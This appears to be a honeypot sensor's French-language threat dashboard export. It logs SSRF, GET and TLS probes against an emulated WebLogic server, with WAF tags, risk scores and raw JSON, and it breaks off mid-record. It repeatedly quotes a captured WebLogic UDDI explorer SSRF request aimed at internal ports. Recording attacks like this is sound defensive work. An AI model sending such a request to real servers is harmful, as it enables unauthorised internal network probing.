Port
7001
Chemin / cible
/
Pourquoi cette classification : Type « ssrf_internal » (signaux protocolaires) · confiance 54%
Confiance classification
62%
Corrélation +8
Risque capteur
Moyen
· 61
Confiance : Confiance 54 % — Motif catalogue confirmé · 7 tag(s) WAF
Protocole émulé
1 Signaux
CRS-920350
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
SSRF HTTP localhost
SSRF Localhost SSRF
LFI Double-dot bypass
Ligne de requête
GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://127.0.0.1:111111&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Règles WAF
rce-0
ssrf-2
ssrf-3
nosqli-3
Payload (extrait)
GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://127.0.0.1:111111&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txt
Requête brute (extrait)
GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://127.0.0.1:111111&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0;
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"http_header_count": 2,
"http_query_params": 7,
"http_path_depth": 2,
"http_path_ext": "jsp",
"http_ua_hash": "526c128160b99bde962deaec266d3dfbb4fd2ce3",
"http_host_hash": "1e75f7b986cff91f40ab57cbc92b6aed66f05c5b",
"http_target_hash": "744f9632452dedf07f596893354aa26a6c589b21",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 308,
"payload_entropy": 5.373092470573382,
"port_category": "registered",
"org": "Long Van System Solution JSC",
"service": "http",
"app_proto": "http",
"asn": 131386,
"country": "VN",
"dst_port": 7001,
"risk_waf": 100,
"risk_classification": 80,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 33,
"risk_novelty": 30,
"risk_boost": 0,
"risk_granularity": 7.2,
"risk_breakdown": {
"waf": 100,
"classification": 80,
"behavior": 0,
"geo": 0,
"protocol": 33,
"novelty": 30
},
"risk_score": 61,
"tag_count": 9,
"anomaly_count": 1,
"campaign_key": "d7542e92ebc1db0bf18fb740589294b6e31315b1",
"event_fingerprint": "534dfb0e9c734497b039abf1ba683cd2a4fc03dd",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"confidence": 0.62,
"classification_confidence": 0.62,
"precision_score": 64,
"precision_signals": [
"CRS-920350"
],
"kb_rule_ids": [
"CRS-920350"
],
"matched_patterns": [
"pat-0334",
"pat-0340",
"pat-0103"
],
"matched_pattern_names": [
"SSRF HTTP localhost",
"SSRF Localhost SSRF",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0334",
"pat-0340",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 80,
"behavior": 0,
"geo": 0,
"protocol": 33,
"novelty": 30,
"risk_score": 61,
"correlation_boost": 8
},
"named_classification_skipped": false,
"classification_parent": "ssrf_attack",
"service_name": "http",
"risk_confidence_factor": 54,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "VN",
"asn": 131386,
"org": "Long Van System Solution JSC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "5b2b09a0df144ba2e29ec0938784c236",
"payload_hash": "e8c691168c8f85bf1dd953b8d07e413c",
"path_pattern_hash": "3b1d1330fa53e0cdb95732d2321740b0"
},
"target_context": {
"dst_port": 7001,
"service": "http",
"service_name": "http",
"risk_score": 61
},
"method": "GET",
"path": "\/",
"query_string": "operator=http:\/\/127.0.0.1:111111&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"waf_tags": [
"950325:rce-0",
"950326:rce-0",
"950401:ssrf-2",
"950405:ssrf-3",
"950468:nosqli-3",
"950469:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"ssrf-2",
"ssrf-3",
"nosqli-3"
],
"request_line": "GET \/uddiexplorer\/SearchPublicRegistries.jsp?operator=http:\/\/127.0.0.1:111111&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP\/1.1",
"payload_snippet": "GET \/uddiexplorer\/SearchPublicRegistries.jsp?operator=http:\/\/127.0.0.1:111111&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txt",
"evidence": {
"method": "GET",
"path": "\/",
"query_string": "operator=http:\/\/127.0.0.1:111111&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"waf_tags": [
"950325:rce-0",
"950326:rce-0",
"950401:ssrf-2",
"950405:ssrf-3",
"950468:nosqli-3",
"950469:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"ssrf-2",
"ssrf-3",
"nosqli-3"
],
"request_line": "GET \/uddiexplorer\/SearchPublicRegistries.jsp?operator=http:\/\/127.0.0.1:111111&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP\/1.1",
"request_sample": "GET \/uddiexplorer\/SearchPublicRegistries.jsp?operator=http:\/\/127.0.0.1:111111&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; ",
"payload_snippet": "GET \/uddiexplorer\/SearchPublicRegistries.jsp?operator=http:\/\/127.0.0.1:111111&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txt",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "12b8e135998cb28664bcc3df28f4959a3f519579",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/uddiexplorer\/SearchPublicRegistries.jsp?operator=http:\/\/127.0.0.1:111111&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"port": 7001,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/uddiexplorer\/SearchPublicRegistries.jsp?operator=http:\/\/127.0.0.1:111111&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txt",
"attack_vector": "ssrf internal \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit)",
"target_port_label": "7001 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 7 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"classification_reason_label_fr": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 61\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 62 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 62,
"confidence_breakdown": {
"waf": 100,
"classification": 80,
"behavior": 0,
"geo": 0,
"protocol": 33,
"novelty": 30,
"risk_score": 61,
"correlation_boost": 8
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 61,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"CRS-920350"
],
"tags_summary_labels_fr": [
"CRS-920350"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/uddiexplorer\/SearchPublicRegistries.jsp?operator=http:\/\/127.0.0.1:111111&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"port": 7001,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "ssrf internal \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit)",
"evidence_snippet": "GET \/uddiexplorer\/SearchPublicRegistries.jsp?operator=http:\/\/127.0.0.1:111111&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txt",
"target_port_label": "7001 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 7 tag(s) WAF",
"confidence_factors_fr": "Confiance 62 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +8 \u00b7 7 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950325:rce-0",
"950326:rce-0",
"950401:ssrf-2",
"950405:ssrf-3",
"950468:nosqli-3",
"950469:nosqli-3",
"950470:nosqli-3",
"anomaly:high-entropy-query",
"net_web_probe"
]
}
24/07/2026 09:37:45 UTC
TCP
7001 · HTTP
Tentative d'exploit
exploit attempt · via HTTP:7001 · (tentative d'exploit)
Élevée
Moyen · 48
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
GET / UA Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/201001…
Émulateur
HTTP
WAF
16
Recommandation
Surveiller
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
net_web_probe
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
7001
Chemin / cible
/
Pourquoi cette classification : Tentative d'exploit (tag rce-0) · confiance 62%
Confiance classification
62%
Risque capteur
Moyen
· 48
Confiance : Confiance 62 % — 3 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1190
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Ligne de requête
GET / HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: 62.3.50.33:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.
Requête brute (extrait)
GET / HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"http_header_count": 2,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "526c128160b99bde962deaec266d3dfbb4fd2ce3",
"http_host_hash": "1e75f7b986cff91f40ab57cbc92b6aed66f05c5b",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 133,
"payload_entropy": 5.098185116660298,
"port_category": "registered",
"org": "Long Van System Solution JSC",
"service": "http",
"app_proto": "http",
"asn": 131386,
"country": "VN",
"dst_port": 7001,
"risk_waf": 72,
"risk_classification": 72,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 5.6,
"risk_breakdown": {
"waf": 72,
"classification": 72,
"behavior": 0,
"geo": 0,
"protocol": 33,
"novelty": 15
},
"risk_score": 48,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "d73dced9c6611387505bd9126e8c2645dbb9d588",
"event_fingerprint": "4dd96f50766d2b06bfee68a725b495e68f55d96a",
"classification_reason": "Tentative d'exploit (tag rce-0) \u00b7 confiance 62%",
"confidence": 0.62,
"classification_confidence": 0.62,
"precision_score": 73,
"precision_signals": [
"MITRE-T1190"
],
"kb_rule_ids": [
"MITRE-T1190"
],
"confidence_breakdown": {
"waf": 72,
"classification": 72,
"behavior": 0,
"geo": 0,
"protocol": 33,
"novelty": 15,
"risk_score": 48
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 62,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "VN",
"asn": 131386,
"org": "Long Van System Solution JSC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "5b2b09a0df144ba2e29ec0938784c236",
"payload_hash": "9feffeafa348573112e2ae52855a7277",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 7001,
"service": "http",
"service_name": "http",
"risk_score": 48
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.",
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.",
"classification_reason": "Tentative d'exploit (tag rce-0) \u00b7 confiance 62%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"unknown"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "92e09225b9a3f799262b103a5a740d619e08f6cd",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"port": 7001,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.",
"attack_vector": "exploit attempt \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit)",
"target_port_label": "7001 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 62 % \u2014 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Tentative d'exploit (tag rce-0) \u00b7 confiance 62%",
"classification_reason_label_fr": "Tentative d'exploit (tag rce-0) \u00b7 confiance 62%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 48\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 62 % \u2014 via HTTP",
"confidence_pct": 62,
"confidence_breakdown": {
"waf": 72,
"classification": 72,
"behavior": 0,
"geo": 0,
"protocol": 33,
"novelty": 15,
"risk_score": 48
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 48,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1190"
],
"tags_summary_labels_fr": [
"MITRE-T1190"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"port": 7001,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "exploit attempt \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.",
"target_port_label": "7001 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 62 % \u2014 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 62 % \u2014 Score WAF 72 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_web_probe"
]
}
24/07/2026 09:37:45 UTC
TCP
7001 · WEBLOGIC
weblogic probe
weblogic probe · via WEBLOGIC:7001 · (sonde / probe)
Élevée
Faible · 33
Détails
Voir
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
WEBLOGIC
WAF
—
Recommandation
Surveiller
Tags
net_weblogic_probe
tls_clienthello
weblogic_emulated
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
Méthode
—
Port
7001
Chemin / cible
—
Service
WEBLOGIC
Payload
�y;k4��HNq2�4y���tyh-rԉ����:� ���q@�� cRL7Q�-D�B�Ѱ�l�D��<�E� >�,�0 �̨̩̪�+�/ ��$�( k�#�' g� � 9� � 3 �
Pourquoi cette classification : Type « weblogic_probe » (signaux protocolaires) · confiance 77%
Confiance classification
85%
Corrélation +8
Risque capteur
Faible
· 33
Confiance : Confiance 77 % — 3 signal(aux) capteur
Protocole émulé
1 Signaux
Weblogic Console
Upstream
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
Minecraft varint handshake
SIP TLS ClientHello
TFTP RRQ
User-Agent
—
Règles WAF
—
Payload (extrait)
�y;k4��HNq2�4y���tyh-rԉ����:� ���q@��
cRL7Q�-D�B�Ѱ�l�D��<�E� >�,�0 �̨̩̪�+�/ ��$�( k�#�' g�
� 9� � 3 �
Requête brute (extrait)
�y;k4��HNq2�4y���tyh-rԉ����:� ���q@�� cRL7Q�-D�B�Ѱ�l�D��<�E� >�,�0 �̨̩̪�+�/ ��$�( k�#�' g� � 9� � 3 � � = < 5 / � u # 0 . + - 3 &
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"bytes_in": 517,
"payload_entropy": 3.9960165119442164,
"port_category": "registered",
"org": "Long Van System Solution JSC",
"service": "weblogic",
"app_proto": "weblogic",
"asn": 131386,
"country": "VN",
"dst_port": 7001,
"risk_waf": 8,
"risk_classification": 58,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 30,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 5.2,
"risk_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0
},
"risk_score": 33,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "a513a8b6579875aee9e6cefbe17ae13f4cd756cc",
"event_fingerprint": "4ea7ffe7bc9ade2843b5e81016a496bfea35cfd6",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"confidence": 0.85,
"classification_confidence": 0.85,
"precision_score": 87,
"precision_signals": [
"INT-weblogic_console",
"INT-upstream"
],
"kb_rule_ids": [
"INT-weblogic_console",
"INT-upstream"
],
"matched_patterns": [
"pat-0554",
"pat-0578",
"pat-0536"
],
"matched_pattern_names": [
"Minecraft varint handshake",
"SIP TLS ClientHello",
"TFTP RRQ"
],
"pattern_ids": [
"pat-0554",
"pat-0578",
"pat-0536"
],
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"named_classification_skipped": false,
"service_name": "weblogic",
"risk_confidence_factor": 77,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "VN",
"asn": 131386,
"org": "Long Van System Solution JSC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "5fe4f1c864cd5c4f7ae7cb31379c118e",
"path_pattern_hash": "a179ef516d6662010534ca5ee85ea8d3"
},
"target_context": {
"dst_port": 7001,
"service": "weblogic",
"service_name": "weblogic",
"risk_score": 33
},
"payload_snippet": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003y;k4\ufffd\ufffdHNq2\ufffd4y\ufffd\ufffd\ufffdtyh-r\u0509\ufffd\ufffd\ufffd\ufffd:\ufffd\u0007\u0011 \ufffd\ufffd\ufffdq@\ufffd\ufffd\rcRL\u00117Q\ufffd-D\ufffdB\ufffd\u0470\ufffdl\ufffdD\ufffd\ufffd<\ufffdE\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"evidence": {
"request_sample": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003y;k4\ufffd\ufffdHNq2\ufffd4y\ufffd\ufffd\ufffdtyh-r\u0509\ufffd\ufffd\ufffd\ufffd:\ufffd\u0007\u0011 \ufffd\ufffd\ufffdq@\ufffd\ufffd\rcRL\u00117Q\ufffd-D\ufffdB\ufffd\u0470\ufffdl\ufffdD\ufffd\ufffd<\ufffdE\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd\u0000\ufffd\u0000=\u0000<\u00005\u0000\/\u0000\ufffd\u0001\u0000\u0001u\u0000\u000b\u0000\u0004\u0003\u0000\u0001\u0002\u0000\n\u0000\f\u0000\n\u0000\u001d\u0000\u0017\u0000\u001e\u0000\u0019\u0000\u0018\u0000#\u0000\u0000\u0000\u0016\u0000\u0000\u0000\u0017\u0000\u0000\u0000\r\u00000\u0000.\u0004\u0003\u0005\u0003\u0006\u0003\b\u0007\b\b\b\t\b\n\b\u000b\b\u0004\b\u0005\b\u0006\u0004\u0001\u0005\u0001\u0006\u0001\u0003\u0003\u0002\u0003\u0003\u0001\u0002\u0001\u0003\u0002\u0002\u0002\u0004\u0002\u0005\u0002\u0006\u0002\u0000+\u0000\t\b\u0003\u0004\u0003\u0003\u0003\u0002\u0003\u0001\u0000-\u0000\u0002\u0001\u0001\u00003\u0000&\u0000",
